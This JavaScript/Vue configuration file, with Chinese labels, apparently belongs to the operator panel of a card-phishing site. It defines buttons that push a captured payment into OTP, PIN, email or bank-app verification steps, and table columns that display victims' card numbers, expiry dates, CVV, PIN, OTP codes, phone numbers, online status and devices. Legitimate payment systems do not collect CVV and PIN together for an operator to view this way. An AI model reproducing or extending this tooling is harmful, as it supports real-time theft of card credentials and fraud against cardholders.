export const commonOperate = [
  {
    status: 200,
    name: '放行,付款成功'
  },
  {
    status: 100,
    name: '放行,付款失败'
  }
]
export const operateBtn = [
  {
    status: 3,
    name: '放行,开始otp验证'
  },
  {
    status: 5,
    name: '放行,开始邮箱验证'
  }, {
    status: 2,
    name: '放行,验证银行app'
  },
  {
    status: 7,
    name: '放行,开始pin验证'
  },
  {
    status: 9,
    name: '放行,开始pin+otp验证'
  },
  ...commonOperate
  // {
  //   status: 200,
  //   name: '放行,付款成功'
  // },
  // {
  //   status: 100,
  //   name: '放行,付款失败'
  // }
]
// status:
// 待处理：1
// 放行邮箱验证：5
// 放行银行app：2
// 放行otp:3
// 放行pin:7
// 放行pin+otp:9
// 拒绝验证码错误：0
// 拒绝密码错误：101
// 拒绝付款失败：100
// 成功/完成：200
// 删除：400
export const cardSchema = {
  visa: 'VISA',
  master: 'MASTERCARD',
  discover: 'DISCOVER',
  american: 'AMERICAN EXPRESS'
}
export function findCardType(value) {
  const keys = Object.keys(cardSchema)
  for (let i = 0; i < keys.length; i++) {
    if (cardSchema[keys[i]] === value) {
      return keys[i]
    }
  }
  return '' // 如果没有找到匹配的值，返回null
}
export const columns = (ctx) => {
  return [
    {
      prop: 'id',
      label: '主键'
    },
    {
      prop: 'orderId',
      label: '订单ID'
    },
    {
      prop: 'isOnline',
      label: '在线状态'
    },
    {
      prop: 'operationRecord',
      label: '用户操作'
    },
    {
      prop: 'phone',
      label: '手机'
    }, {
      prop: 'cardName',
      label: '姓名'
    }, {
      prop: 'country',
      label: '国家'
    }, {
      prop: 'cardNumberShow',
      label: '卡号'
    }, {
      prop: 'cardDate',
      label: '有效期'
    }, {
      prop: 'CVV',
      label: 'CVV'
    },
    {
      prop: 'OPT',
      label: 'OPT'
    },
    {
      prop: 'PIN',
      label: 'PIN'
    }, {
      prop: 'creatTime',
      label: '订单时间'
    },
    {
      prop: 'userAgent',
      label: '设备类型'
    },
    {
      prop: 'isExp',
      label: '是否导出'
    },
    {
      label: '操作',
      toolTip: false,
      fixed: 'right',
      render: (h, row, index) => {
        return [
          <el-link
            underline={false}
            type='primary'
            class='mr10'
            onClick={() => { ctx.onDetail(row) }}
          >
          详情
          </el-link>
        ]
      }
    }
  ]
}
